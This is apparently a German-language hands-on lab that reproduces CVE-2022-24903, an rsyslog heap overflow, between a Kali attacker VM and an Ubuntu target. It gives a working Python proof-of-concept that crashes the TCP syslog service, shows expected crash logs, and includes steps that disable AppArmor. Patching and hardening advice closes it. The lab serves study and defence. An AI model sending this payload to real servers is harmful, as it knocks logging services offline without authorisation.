
CVE-2022-24903 Heap-based buffer overflow
Autor: Andrew Beshay Mousa
Ein praktisches Labor, das die Heap-Pufferüberlauf-Schwachstelle in rsyslog demonstriert.
Eine praktische Laborumgebung, um die rsyslog Heap-Pufferüberlauf-Schwachstelle (CVE-2022-24903) über das Octet-Count-Framing beim TCP-Syslog-Empfang zu reproduzieren und zu verstehen.
CVE-2022-24903 ist eine Heap-Pufferüberlauf-Schwachstelle im TCP-Syslog-Empfangsmodul (imtcp) von rsyslog bei Verwendung der oktettzählenden Rahmung (RFC 5425).
Ein Angreifer kann eine präparierte TCP-Syslog-Nachricht mit einem übermäßig langen Oktettanzahl-Präfix senden, wodurch rsyslog über die Grenzen eines heap-allokierten Puffers hinaus schreibt. Dies führt zu einem Denial-of-Service (DoS) oder potenzieller Speicherkorruption.
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
Hinweis: Du kannst jede Ubuntu-Version (20.04, 22.04, 24.04) als Ziel verwenden. Entscheidend ist, das verwundbare rsyslog 8.2001.0-
.deb-Paket manuell zu installieren.
Bei TCP-Syslog (RFC 5425) wird den Nachrichten ihre Länge in Bytes vorangestellt:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
In verwundbaren rsyslog-Versionen funktioniert der Oktettanzahl-Parser wie folgt:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
Ergebnis: Das Senden von 9999... (5000+ Ziffern) lässt den Heap-Puffer überlaufen und korrumpiert angrenzenden Speicher.
0-9) beschränktErstelle in deinem Hypervisor ein Host-Only-Netzwerk:
192.168.56.0/24Verbinde beide VMs mit diesem Netzwerk.
sudo nano /etc/netplan/00-installer-config.yaml
Einfügen:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
Anwenden:
sudo netplan apply
Überprüfen:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
Falls du einen dpkg-Sperrfehler erhältst:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
Version überprüfen:
rsyslogd -v | head -2
Erwartete Ausgabe:
rsyslogd 8.2001.0
AppArmor kann rsyslog daran hindern, mit dem alten Paket korrekt zu funktionieren:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
Datei leeren und Folgendes einfügen:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
Überprüfen, ob der Dienst lauscht:
sudo ss -tlnp | grep 514
Erwartet:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
Einfügen:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
Oder falls du Netplan verwendest:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
Einfügen:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
Ausführbar machen:
chmod +x exploit.py
Führe von der Angreifer-Maschine aus einen Konnektivitätstest durch:
nc -zv 192.168.56.20 514
Erwartet:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
Erwartete Ausgabe:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
Überprüfe auf der Zielmaschine den Absturz:
ps aux | grep rsyslog
Wenn keine Ausgabe -> rsyslog ist abgestürzt
sudo dmesg | tail -10
Erwartete Ausgabe:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
Oder:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
Um die Reproduzierbarkeit zu bestätigen:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
Führe anschließend den Exploit erneut von Kali aus. Der Absturz sollte erneut auftreten.
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
Gepatchte Version überprüfen:
rsyslogd -v | head -2
Sollte 8.2204.1 oder höher sein.
Kommentiere in /etc/rsyslog.conf aus:
# module(load="imtcp")
# input(type="imtcp" port="514")
Falls TCP-Syslog erforderlich ist, verwende einen verschlüsselten Transport:
module(load="imgtls")
input(type="imgtls" port="6514")
Beschränke TCP 514 auf vertrauenswürdige Hosts:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
Dieses Labor dient ausschließlich Bildungs- und Forschungszwecken. Verwende diesen Exploit nicht gegen Systeme, die du nicht besitzt oder für die du keine ausdrückliche Genehmigung zum Testen hast. Der Autor übernimmt keine Haftung für den Missbrauch dieser Informationen.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.
Hergestellt mit Kaffee und Neugier von Andrew Beshay Mousa.
| Attribut | Wert |
|---|
| CVE-ID | CVE-2022-24903 |
| Betroffen | rsyslog < 8.2204.1 |
| Angriffsvektor | Netzwerk |
| Port | 514/TCP |
| Modul | imtcp (TCP-Eingang) |
| Auswirkung | DoS / Heap-Korruption |
| RCE wahrscheinlich? | Nein (Herstellereinschätzung) |
| VM | OS | Rolle | IP | RAM | CPU |
|---|
| Ziel | Ubuntu 22.04 | Verwundbarer rsyslog-Server | 192.168.56.20 | 1 GB | 1 |
| Angreifer | Kali Linux | Exploit-Sender | 192.168.56.10 | 2 GB | 1 |
| Problem | Lösung |
|---|
Connection refused | rsyslog läuft nicht oder lauscht nicht auf TCP 514. Prüfe sudo systemctl status rsyslog und `sudo ss -tlnp |
Unit rsyslog.service is masked | Führe sudo systemctl unmask rsyslog.service syslog.socket aus |
dpkg frontend lock | Führe sudo kill -9 <PID> aus, danach sudo rm -f /var/lib/dpkg/lock-frontend |
| AppArmor DENIED in dmesg | Führe sudo systemctl stop apparmor && sudo systemctl disable apparmor aus |
| rsyslog-Version ist 8.2112+ | Du hast die gepatchte Version installiert. Lade rsyslog_8.2001.0-1ubuntu1_amd64.deb manuell herunter und installiere sie |
| Kein Absturz nach dem Exploit | Erhöhe die Payload-Größe auf b"9" * 20000 |